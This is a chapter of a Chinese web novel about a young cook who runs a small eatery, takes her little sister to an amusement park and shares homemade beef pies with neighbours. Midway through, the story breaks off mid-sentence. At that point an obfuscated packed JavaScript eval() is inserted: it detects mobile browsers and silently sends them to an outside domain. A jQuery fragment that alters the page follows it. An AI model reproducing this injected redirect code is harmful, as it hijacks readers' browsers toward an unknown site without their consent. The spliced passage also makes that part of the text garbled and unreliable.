虞妙音炒好后把粉给了李秀月,李秀月有点儿不情愿地把粉分了一点给儿子。
她尝着炒米粉,心想,还是挺感谢她儿子吵着要吃这家店的茶叶蛋的,不然她也不知道这家店的的东西竟然能好吃到这个地步。
两个人都吃得饱饱的,付款的时候,李秀月问虞妙音以后周六日还开不开门。
“不确定,但明天不开门啦。”她要带小棠宝去玩,她答应过小棠宝的。
“好吧。”李秀月语气有几分失落,她还想明天再吃一顿呢。
李秀月带着吴子轩走的时候,吴子轩还特别兴奋地喊,跟见到了奥特曼一样兴奋:“炒米粉最好吃!他们都没有吃炒米粉!就我一个人吃过!”
声音大到好多食客都听见了,大家都笑了。
天色越来越暗,虞妙音关上卷闸门,肩膀上背着小棠宝的书包,然后走到隔壁,把一个饭盒递给何丽:“我自己做的小馄饨,没多少,你拿回去跟小苒尝尝。”
何丽双手接过:“谢谢你啊小音。”
小苒跟虞妙音相处了一段时间,也没有那么怕生,再加上她现在跟小棠宝成为了好朋友了。
小棠宝跑过去,跟小苒说了几句话,“你以后还会来这里吗?我还想和你玩。”
小苒看了眼何丽,何丽笑着点点头,“我也想跟你玩,我会来这的。”
“那我们拉钩钩好不好,你要跟我当好朋友。”小棠宝认真地说,把手伸出来,小苒也把手伸了出来。
“拉钩钩,一辈子不许变,谁变谁就是就是……”小棠宝摇着她的手,似乎忘记了,一直就是就是,没说出个什么。
虞妙音跟何丽看着想笑,刚想提醒,小棠宝却很快瞪大眼睛说:“谁说谎谁就是小馄饨!”
两个人直接笑了出来。
太可爱了。
两小孩又说了几句话才回去,走的时候,小棠宝还炫耀似地说:“阿姐要带我去玩啦。”
……
翌日,清晨,太阳照常升起。可能是要去玩,小棠宝有些兴奋,这回起得比虞妙音还要早。
虞妙音起来的时候,她正用小牙刷刷牙呢,“阿姐。”
“醒得好早哦,我们小棠宝是不是很开心呀?”虞妙音拿起牙刷,挤出牙膏,两个人站在一块。
小棠宝不高,还是站在椅子上才能看得到镜子。
一大一小刷完牙,虞妙音把昨天的包好的小馄饨当早餐吃完了才出发。
她陪着小棠宝在游乐园玩了一圈,什么旋转木马碰碰车还有迷宫,一大一小都玩得很开心,小棠宝脸上挂着的笑就没有消失过。
从游乐园出来,两个人去吃了午饭,然后才去逛超市。小孩很喜欢逛超市,因为有很多事物对她来说是新鲜的。虞妙音给她买了很多漂亮的衣服,又给她买了个玩具和玩偶。
小棠宝说这个玩偶跟阿音姐一样,很可爱,她还说晚上抱着玩偶就像抱着阿姐一样,会很温暖。
超市里面有不少瓜果蔬菜肉蛋,都很新鲜,出于厨子的本能,虞妙音根本不能忍住不买。
尤其是这牛肉,虞妙音买了很多回去。
“阿姐,我来帮你一起,我不是小小孩,小小孩才不用拿东西,我是小孩,我可以帮你哒。”小棠宝伸出手主动要帮忙。
“那小棠宝拿你的衣服,剩下的阿姐拿,按照你这样的道理,你是小孩,能做一点,那我是大人,比小孩高不少等级,自然要拿更多,是不是这个道理呀?”
两个人回了家,虞妙音把东西放下后就去了厨房,她买这牛肉是用来用做牛肉馅饼的。
把泡打粉、酵母粉、面粉、融了糖盐的温水一股脑倒进不锈钢盆,用刮刀搅和,面团成型后加点油抓拌,让面油融合出顺滑手感。而后盖上保鲜膜,静置一段时间后面团发酵膨大。
再把在菜市场买回来的牛肉剁碎,和姜蒜末、葱段同置一盆,挖一勺蚝油老抽生抽,撒点胡椒粉、鸡粉和糖,最后淋上热油,“刺啦”一声,香气瞬间蹦出来。
她把面团分好,取了一团出来,塞上肉馅慢慢收紧,收口朝下,再用掌心压扁一点点,这牛肉饼就做好啦。
小棠宝也学着阿姐的样子做了好几个出来,有模有样的。
热油下锅,饼被煎至两面金黄,还带着一点点焦焦的边。
小棠宝闻着牛肉饼的味道,肚子咕噜咕噜地叫着,“好香呀。”
“快来尝尝味道。”虞妙音把牛肉饼递过去给小棠宝,小棠宝飞快伸手去拿,却被烫了一下下,她飞快抽手。
等没那么热了,小棠宝立马把牛肉饼拿起来,咬了一小口,饼皮部分带着焦焦的香气,酥脆的外壳咬起来会咔擦地响一声。
小棠宝停下嘴巴眼睛亮亮地喊虞妙音:“阿姐,这个牛肉饼好好吃哦,香香哒,脆脆哒。”
再往下咬,就咬到了肉馅,肉馅香嫩多汁,牛肉饼更香了。
“好好吃呀,我都不舍得吃完它。”小棠宝说,下一口,她咬得更小了。
“还有很多个呢,你想吃多少都有。”虞妙音说。
小棠宝想,当阿姐的妹妹,是全世界最幸福的小孩。她也要好好读书,好好长大,然后让阿姐成为全世界最幸福的大人。
另一边,许大爷本来在做饭了,愣是被不知道哪里传过来的牛肉饼的香味给吸引住了。香到他往外面站着闻味道,根本不舍得走开。
许大爷的儿子许昌兴回来的时候见到他爸站在门口仰望,还以为发生了什么大事呢。
“爸,你这是怎么啦?”问完之后,他也闻到了很香的牛肉饼的香味,小心嘀咕道:“这是哪家的?这么香。”
许大爷的儿媳周桂也回来了,“怎么都站在这?”
“你们没闻到很香的牛肉饼味道吗?”
两人对视了一眼,点点头。
许大爷悠悠地说:“太香了,我舍不得走。”
两人:“……”
但他们也得承认,确实是香。
“陈奶奶。”虞妙音用饭盒装着两个牛肉饼过去送给陈奶奶和怡灵,两家人关系好,奶奶还给小棠宝买过不少衣服,平时有水果零食也会拿过来给她们家。
陈奶奶打开门,怡灵也蹦蹦跳跳从里面出来,一看到牛肉饼就两眼发光
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862118|176084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,“阿音姐,我刚刚写作业都写不下去了,你做的牛肉饼好香,香懵了!”
“那快来尝尝。”
许大爷看着,要羡慕哭了,太香了吧,他也想吃!
虞妙音又跟陈奶奶和怡灵聊了几句,很快就注意到旁边站着几个人。
“许大爷,还有许叔和周姨,好久不见。”
小棠宝也跟两个人打招呼:“爷爷好,叔叔好,阿姨好。”
确实是很久不见了,虞妙音以前一直在外面打工,才回来几天,也没有怎么碰面。
周桂看到是虞妙音,还有点儿惊讶,“小音回来啦?”
“嗯,我在这开了小饭馆。”
“对了,我做了牛肉饼,刚好还剩三个,给你们尝尝,别介意啊。”虞妙音说着就往屋子里走。
许大爷本不好意思收虞妙音的东西,但闻着空气的香味,真的说不出我不要这样的违背良心的话!
周桂和许昌兴也是如此。
“小音开饭馆了?咱们街坊邻居的,以后要多帮衬一下。”周桂说,想起虞家发生过的事情,周桂也很心疼。
许昌兴嗯了一声,“毕竟也不容易……”
很快,虞妙音把牛肉饼拿回来给他们。
许大爷馋得要流口水了,他左掏掏右掏掏,掏出一张五十块钱递给虞妙音,“不白吃不白吃。”
“真的不用啦。”虞妙音说。
“不行,你一定要收下,不然我怎么好意思收下!”许大爷再三坚持。
“真的不用。”虞妙音说,“我这牛肉饼也不值钱呀,你要是觉得好吃,我就觉得值得了。”
哪里不值钱!周桂心说,要是这么香的牛肉饼拿出去卖,卖五十块钱一个她也会买来尝尝,谁让她馋呢。
最后,虞妙音没拿五十块钱,不过许大爷给了她一大袋荔枝。
荔枝是用蛇皮袋装着的,很多,许大爷说老家的荔枝树丰收了。
几个人拿着牛肉饼回家了,周桂看着牛肉饼说:“咱们快吃吧,等下小安回到家了,我们还得分他一口。”
说得太在理了,几个人快速把牛肉饼送进嘴巴里面。皮薄馅多的牛肉饼,大咬一口就能咬到肉馅,饼皮金黄焦脆,肉汁渗进了饼皮上,温热不失嚼劲。里面的牛肉嫩嫩的,尝起来满嘴肉香。
吃完后嘴里还留着煎烤的焦香和面团的麦香味。
周桂赶紧把窗户打开,让香味散出去一点。
“爸爸妈妈爷爷我回来啦。”正巧,这时许瑞安回来了,他报了个辅导班,现在才下课。
许昌兴赶忙起来洗手,许大爷也往厨房里走,周桂把窗户打开到最大,全家没有一个人过来抱抱他。
许瑞安有些奇怪,而后,他又抽动鼻子,“爸爸妈妈,你们有没有闻到很香的味道呀?”
“没有没有,哪有啊。”周桂说。
许大爷咳嗽了一声:“就是,哪里有什么香味。”
许昌兴睁着眼睛说瞎话,“可能是我今天做的饭香吧。”
许瑞安想到爸爸做的饭,自顾自换鞋,小声说:“可是爸爸做的饭哪有这么香。”